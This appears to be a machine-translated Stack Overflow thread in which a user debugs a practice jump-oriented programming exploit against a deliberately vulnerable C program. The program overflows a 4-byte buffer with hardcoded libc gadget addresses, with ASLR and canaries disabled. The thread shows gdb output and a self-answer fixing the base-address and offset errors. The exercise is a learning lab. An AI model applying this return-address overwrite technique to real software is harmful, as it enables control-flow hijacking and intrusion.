Почему сглаживание стека для изменения адреса возврата не может изменить поток управления моей программы?

На самом деле я пытаюсь написать и выполнить пример Jump-ориентированного программирования в 32-битной Ubuntu 12.10 и архитектуре Intel x86. Первый гаджет, который я хочу запустить в целевой системе, начинается с инструкции POPA. Я нашел его адрес смещения, используя objdump -D /lib/libc.so.6> Cdump.txt из файла Cdump.txt. Затем я запустил свою уязвимую программу с помощью gdb и нашел диапазон исполняемых сегментов моей программы, используя следующие команды:

ps ax|grep vul 

21193 pts/2    S+     0:00 gdb vul

==> чтобы найти номер процесса "gdb vul".

grep libc /proc/21193/maps

b7a4a000-b7bed000 r-xp 00000000 08:01 656054     /lib/i386-linux-gnu/libc-2.15.so

==> чтобы узнать, где исполняемая программа загружена в память.

Я записал произвольную последовательность адресов инструкций и отключил защиту ASLR и Canary. Это мой простой код для переполнения стека и изменения содержимого «return» в стеке для запуска моих последовательностей JOP.

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int main()
{
char Buff[4];
memcpy(Buff, "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xd5\x7a\xbb\xb7\xd6\x7a\xbb\xb7\xd8\x7a\xbb\xb7\xdb\x7a\xbb\xb7\x9c\xf6\xff\xbf\x00\x60\xfc\xb7\xcc\xf6\xff\xbf\x24\xf7\xff\xbf\xb4\xf6\xff\xbf", 52);
return;
}

Я отлаживаю программу и слежу за содержимым стека, а также регистрирую информацию. все в порядке, пока esp не достигнет адреса (% ebp) +8, что означает адрес после возврата. эти 4 байта должны загружать edi в соответствии с инструкцией POPA, которая загружается в порядке edi, esi, ebp, esp, ebx, edx, ecx, eax.

Итак, edi должен загружаться по этому адресу = 0xB7BB7AD6, возвращаемое содержимое в стеке = 0xB7BB7AD5 (адрес POPA)

Но после того, как memcpy () хочет уйти, я получаю следующее сообщение:

Warning:
Cannot insert breakpoint 0.
Error accessing memory address 0xb7bb7ad6: Input/output error.

0xb7bb7ad5 in ?? ()

Что это за ОШИБКА? Почему я не могу изменить поток управления программы на другую инструкцию в исполняемой памяти моего процесса?

Пожалуйста, смотрите ниже более подробную информацию:

Это 12 лучших слов в стеке:

(gdb) x /12wx $esp-20
0xbffff67c: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff68c: 0xb7bb7ad5  0xb7bb7ad6  0xb7bb7ad8  0xb7bb7adb
0xbffff69c: 0xbffff69c  0xb7fc6000  0xbffff6cc  0xbffff724

и регистрирует:

(gdb) info registers
eax            0xbffff67c   -1073744260
ecx            0xbffff6b4   -1073744204
edx            0xbffff6b0   -1073744208
ebx            0xb7fc6000   -1208197120
esp            0xbffff690   0xbffff690
ebp            0x90909090   0x90909090
esi            0x0  0
edi            0x0  0
eip            0xb7bb7ad5   0xb7bb7ad5
eflags         0x200283 [ CF SF IF ID ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0  0
gs             0x33 51

person Farzane    schedule 21.08.2013    source источник
comment
Похоже, это проблема отладчика (который сбит с толку вашим разбитым стеком), а не вашего подхода в принципе.   -  person Kerrek SB    schedule 21.08.2013
comment
Да, спасибо за ответ, я подумал и протестировал, установив точку останова при возврате (в уязвимом коде). Затем отладьте программу с помощью параметра next в gdb, который перешагнет функцию. Но это тоже не сработало. Или ты про что-то еще? Не могли бы вы объяснить это поподробнее? Большое большое спасибо   -  person Farzane    schedule 21.08.2013
comment
Я действительно не уверен в деталях - я в основном предполагаю: если отладчик вставляет точки останова, перезаписывая код, и пытается вставить точку останова после возврата функции, но после того, как вы ' Если вы повредили стек, он может попытаться записать точку останова в код библиотеки, который доступен только для чтения. Но это только предположение. Я полагаю, что отладчики, как правило, могут проходить через код библиотеки, поэтому было бы странно, если бы он не мог писать туда. Возможно, он пытается писать на несуществующий адрес, скорее, например, 0x90909090.   -  person Kerrek SB    schedule 21.08.2013


Ответы (2)


По адресу 0xB7BB7AD5 находится не код вашей программы, а код разделяемой библиотеки libc-2.15.so. Эта память защищена, поэтому вы не можете писать в нее.

person johnfound    schedule 21.08.2013
comment
Ну, я тоже не хочу туда писать. Я просто меняю поток программы на другой адрес того же процесса. Я имею в виду, что я не хочу вводить туда какие-либо инструкции, я просто использую код, который доступен в моей целевой системе. Моя программа - это программа на языке C, поэтому она имеет доступ к этому диапазону libc-2.15.so. - person Farzane; 21.08.2013

Во-первых, я выбрал неправильный процесс: "gdb vul" - это процесс gdb, а не vul. Таким образом, базовый адрес был ложным, и я не обращался к исполняемому сегменту своего процесса.

Во-вторых, как видно в моей оболочке, есть 16 бесполезных байтов для записи в 4 байтах для Buff, а также для ebp. Это потому, что когда я отлаживаю программу с 8 байтами "\ x90" (Buff [4] + ebp), значения, вводимые в стек, на 8 байтов позже, чем они должны быть. Я понимаю, что в Ubuntu 12.10 компилятор вызывает memcpy (), и он помещает некоторые значения в стек. это причина того, что мои значения в стеке кажутся смещенными! Но в Ubuntu 12.04 компилятор не вызывает memcpy (), а сам реализует его в коде. Таким образом, значения, перезаписываемые стеком, занимают свои точные позиции без какого-либо сдвига.

person Farzane    schedule 24.08.2013